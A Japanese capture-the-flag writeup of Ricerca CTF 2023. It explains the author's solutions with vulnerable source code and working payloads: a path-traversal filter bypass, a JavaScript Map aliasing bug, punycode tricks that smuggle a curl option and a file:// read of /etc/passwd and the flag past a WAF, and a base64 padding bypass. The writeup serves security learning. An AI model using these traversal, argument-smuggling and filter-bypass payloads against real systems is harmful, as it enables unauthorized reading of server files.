Ricerca CTF 2023 Writeup (Cat Café, tinyDB, funnylfi, gatekeeper)
Ricerca CTF 2023 にチーム TSG-graduates で参加し、4位にランクインしました。
賞金獲得要件の関係でTSGの非学生でチームを組んで参加したんですが、学生チームのほうは学生1位に入賞し賞金を獲得したそうです。すごい。
全体的に問題のクオリティが高く素晴らしいCTFでした。12時間CTFはほぼ参加したことがなかったんですが、日本のローカルCTFということもあり日中のあいだ参加できて、かなりストレスなく (いつものCTFと同じ感じで) 参加できました。タイムゾーンの問題さえなければすべてのCTFがこうであってほしい⋯⋯。
Cat Café (web warmup, 95pts)
ディレクトリトラバーサル防止のために怪しいreplaceをしているので、../
を消したあとに攻撃が通りそうなものを投げつけるといいです。
@app.route('/img') def serve_image(): filename = flask.request.args.get("f", "").replace("../", "") path = f'images/{filename}' if not os.path.isfile(path): return flask.abort(404) return flask.send_file(path)
payload: http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
いいwarmupでした。
tinyDB (web, 135pts)
非同期処理めんどくさい!そもそも処理が複雑で何をやっているか理解するのが難しいんですが、ちゃんとよむと、10人以上のユーザーが作成されたときに怪しい処理を実行していることがわかります。
if (userDB.size > 10) { // Too many users, clear the database userDB.clear(); auth.username = "admin"; auth.password = getAdminPW(); userDB.set(auth, "admin"); auth.password = "*".repeat(auth.password.length); }
JavaScriptのMapはObjectをキーとして使用した場合に参照として機能するので、userDB.setのあとのauth.passwordの更新はuserDBに影響を与えます。
const rollback = () => { const grade = userDB.get(auth); updateAdminPW(); const newAdminAuth = { username: "admin", password: getAdminPW(), }; userDB.delete(auth); userDB.set(newAdminAuth, grade ?? "guest"); }; setTimeout(() => { // Admin password will be changed due to hacking detected :( if (auth.username === "admin" && auth.password !== getAdminPW()) { rollback(); } }, 2000 + 3000 * Math.random()); // no timing attack!
この不具合は数秒後にrollbackされて無かったことにされるので、この数秒のうちに admin:********************************
という認証情報を用いてフラグを獲得します。
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}
ちょっと問題設定に無理がありましたが、面白い問題でした。
funnylfi (web, 341pts)
与えた文字列がpunycode (正確にはPythonのidnaエンコーディング) に変換された上でcurlの引数として与えられ実行されます。フラグはサーバーのローカルファイルにあるのでSSRFして読む必要があります。
ただし、sanitizerによって、ASCII printable な文字のうち英数字と :./
以外の文字は取り除かれます。
# Multibyte Characters Sanitizer def mbc_sanitizer(url :str) -> str: bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c" for c in url: try: if c.encode("idna").decode() in bad_chars: url = url.replace(c, "") except: continue return url
記号が取り除かれるため、ローカルファイルの読み込み自体は ?url=fi-le:///etc/passwd
のようにすることで比較的簡単にできます。しかし、フラグを読み取ろうとすると以下のwafによって弾かれるため、なんからの対策が必要となります。
# WAF @app.after_request def waf(response: Response): if b"RicSec" in b"".join(response.response): return Response("Hi, Hacker !!!!") return response
文字列が国際化ドメイン名になる際に xn--[ascii文字]-[非ascii文字をエンコーディングしたもの]
という形式に変換されるので、ある程度変な文字列を作ることができます。それに加えて、以下の2点がポイントになりました。
- Pythonのidnaエンコーディングは文字列のNFKC正規化を行います (親切なことに、これは問題文の例で示されています)
- curlのオプションに -r というオプションが存在し、file://スキームの場合出力されるバイトを範囲で切り取ってくれます。 (こおしいずが教えてくれました)
最終的なpayloadは ?url=¨fi-le:///var/www/flag¨a.hkt.sh/.ɡ¨
となりました。この文字列はエンコードすると xn-- file:///var/www/flag a-nymv.hkt.sh/.xn-- -r1a61c
に変換され、ローカルファイルを読みながら1バイト目を切り取って表示してくれます。
RicSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y}
めちゃくちゃ難しくておもしろかったです。問題コードも短くて最終的には気持ちよく解けました。Unicodeの知識が少し生きたかな?
gatekeeper (misc, 200pts)
コードはほぼこれだけです。
def base64_decode(s: str) -> bytes: proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True) if proc.returncode != 0: return '' return proc.stdout if __name__ == '__main__': password = input('password: ') if password.startswith('b3BlbiBzZXNhbWUh'): exit(':(') if base64_decode(password) == b'open sesame!': print(open('/flag.txt', 'r').read())
base64コマンドのbase64パーサは他のパーサと比べてかなり挙動が厳しく、改行文字以外の余分な文字は一切入れられないようです。
ソースコードを注意深く読んでいくと、4バイトごとのチャンクの中に =
が入っていても正しくパースされるであろうことが読み取れます。これを利用して b3A=ZW4=IHM=ZXNhbWUh
のようなbase64を作ると条件を満たします。
RicSec{b4s364_c4n_c0nt41n_p4ddin6}
シンプルかつストレートなmisc問題で好きです。
dice-vs-kymn (crypto, 500pts)
解けなかった。位数が6となる楕円曲線パラメータを気合で求めるであろうところまでは思い至ったんですが、筋力とsagemath力が足りなかった⋯⋯。
writeupを読んで精進します。
ps converter (web, 393pts)
解く気力が残っていませんでした (は?)。webじゃなくてmiscでは?